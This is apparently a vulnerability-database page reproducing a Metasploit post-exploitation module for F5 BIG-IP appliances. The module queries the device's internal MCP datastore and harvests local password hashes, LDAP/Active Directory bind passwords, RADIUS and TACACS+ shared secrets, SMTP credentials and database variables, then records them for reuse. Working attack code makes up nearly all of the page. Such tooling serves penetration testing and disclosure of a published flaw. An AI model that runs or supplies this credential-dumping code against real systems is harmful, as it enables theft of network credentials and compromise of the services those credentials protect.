Lucene search
K

F5 Big-IP Gather Information from MCP Datastore

🗓️ 13 Dec 2022 19:52:19Reported by Ron BowesType 
metasploit
 metasploit
🔗 www.rapid7.com👁 316 Views

F5 Big-IP Gather Information from MCP Datastore. Gather various pieces of data from F5's "mcp" datastore including password hashes, upstream passwords (LDAP, AD, RADIUS), and database variables

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Linux::System
  include Msf::Post::Linux::F5Mcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'F5 Big-IP Gather Information from MCP Datastore',
        'Description' => %q{
          This module gathers various interesting pieces of data from F5's
          "mcp" datastore, which is accessed via /var/run/mcp using a
          proprietary protocol.

          Adapted from:  https://github.com/rbowes-r7/refreshing-mcp-tool/blob/main/mcp-getloot.rb
        },
        'License' => MSF_LICENSE,
        'Author' => ['Ron Bowes'],
        'Platform' => ['linux', 'unix'],
        'SessionTypes' => ['shell', 'meterpreter'],
        'References' => [
          ['URL', 'https://github.com/rbowes-r7/refreshing-mcp-tool'], # Original PoC
          ['URL', 'https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/'],
          ['URL', 'https://support.f5.com/csp/article/K97843387'],
          ['ATT&CK', Mitre::Attack::Technique::T1003_OS_CREDENTIAL_DUMPING],
        ],
        'DisclosureDate' => '2022-11-16',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => []
        }
      )
    )

    register_options(
      [
        OptBool.new('GATHER_HASHES', [true, 'Gather password hashes from MCP', true]),
        OptBool.new('GATHER_SERVICE_PASSWORDS', [true, 'Gather upstream passwords (ie, LDAP, AD, RADIUS, etc) from MCP', true]),
        OptBool.new('GATHER_DB_VARIABLES', [true, 'Gather database variables (warning: slow)', false]),
      ]
    )
  end

  def gather_hashes
    print_status('Gathering users and password hashes from MCP')
    users = mcp_simple_query('userdb_entry')

    unless users
      print_error('Failed to query users')
      return
    end

    users.each do |u|
      print_good("#{u['userdb_entry_name']}:#{u['userdb_entry_passwd']}")

      create_credential(
        jtr_format: Metasploit::Framework::Hashes.identify_hash(u['userdb_entry_passwd']),
        origin_type: :session,
        post_reference_name: refname,
        private_type: :nonreplayable_hash,
        private_data: u['userdb_entry_passwd'],
        session_id: session_db_id,
        username: u['userdb_entry_name'],
        workspace_id: myworkspace_id
      )
    end
  end

  def gather_upstream_passwords
    print_status('Gathering upstream passwords from MCP')

    vprint_status('Trying to fetch LDAP / Active Directory configuration')
    ldap_config = mcp_simple_query('auth_ldap_config') || []
    ldap_config.select! { |config| config['auth_ldap_config_bind_pw'] }
    if ldap_config.empty?
      print_status('No LDAP / Active Directory password found')
    else
      ldap_config.each do |config|
        config['auth_ldap_config_servers'].each do |server|
          report_cred(
            username: config['auth_ldap_config_bind_dn'],
            password: config['auth_ldap_config_bind_pw'],
            host: server,
            port: config['auth_ldap_config_port'],
            service_name: (config['auth_ldap_config_ssl'] == 1 ? 'ldaps' : 'ldap')
          )
        end
      end
    end

    vprint_status('Trying to fetch Radius configuration')
    radius_config = mcp_simple_query('radius_server') || []
    radius_config.select! { |config| config['radius_server_secret'] }
    if radius_config.empty?
      print_status('No Radius password found')
    else
      radius_config.each do |config|
        report_cred(
          password: config['radius_server_secret'],
          host: config['radius_server_server'],
          port: config['radius_server_port'],
          service_name: 'radius'
        )
      end
    end

    vprint_status('Trying to fetch TACACS+ configuration')
    tacacs_config = mcp_simple_query('auth_tacacs_config') || []
    tacacs_config.select! { |config| config['auth_tacacs_config_secret'] }
    if tacacs_config.empty?
      print_status('No TACACS+ password found')
    else
      tacacs_config.each do |config|
        config['auth_tacacs_config_servers'].each do |server|
          report_cred(
            password: config['auth_tacacs_config_secret'],
            host: server,
            port: 49,
            service_name: 'tacacs+'
          )
        end
      end
    end

    vprint_status('Trying to fetch SMTP configuration')
    smtp_config = mcp_simple_query('smtp_config') || []
    smtp_config.select! { |config| config['smtp_config_username'] }
    if smtp_config.empty?
      print_status('No SMTP password found')
    else
      smtp_config.each do |config|
        report_cred(
          username: config['smtp_config_username'],
          password: config['smtp_config_password'],
          host: config['smtp_config_smtp_server_address'],
          port: config['smtp_config_smtp_server_port'],
          service_name: 'smtp'
        )
      end
    end
  end

  def gather_db_variables
    print_status('Fetching db variables from MCP (this takes a bit)...')
    vars = mcp_simple_query('db_variable')

    unless vars
      print_error('Failed to query db variables')
      return
    end

    vars.each do |v|
      print_good "#{v['db_variable_name']} => #{v['db_variable_value']}"
    end
  end

  def resolve_host(hostname)
    ip = nil
    if session.type == 'meterpreter' && session.commands.include?(Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_NET_RESOLVE_HOST)
      result = session.net.resolve.resolve_host(hostname)
      ip = result[:ip] if result
    else
      result = cmd_exec("dig +short '#{hostname}'")
      ip = result.strip unless result.blank?
    end

    vprint_warning("Failed to resolve hostname: #{hostname}") unless ip

    ip
  rescue Rex::Post::Meterpreter::RequestError => e
    elog("Failed to resolve hostname: #{hostname.inspect}", error: e)
  end

  def report_cred(opts)
    netloc = "#{opts[:host]}:#{opts[:port]}"
    print_good("#{netloc.ljust(21)} - #{opts[:service_name]}: '#{opts[:username]}:#{opts[:password]}'")

    if opts[:host] && !Rex::Socket.is_ip_addr?(opts[:host])
      opts[:host] = resolve_host(opts[:host])
    end

    service_data = {
      address: opts[:host],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: opts.fetch(:protocol, 'tcp'),
      workspace_id: myworkspace_id
    }

    credential_data = {
      post_reference_name: refname,
      session_id: session_db_id,
      origin_type: :session,
      private_data: opts[:password],
      private_type: :password,
      username: opts[:username]
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def run
    gather_hashes if datastore['GATHER_HASHES']
    gather_upstream_passwords if datastore['GATHER_SERVICE_PASSWORDS']
    gather_db_variables if datastore['GATHER_DB_VARIABLES']
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation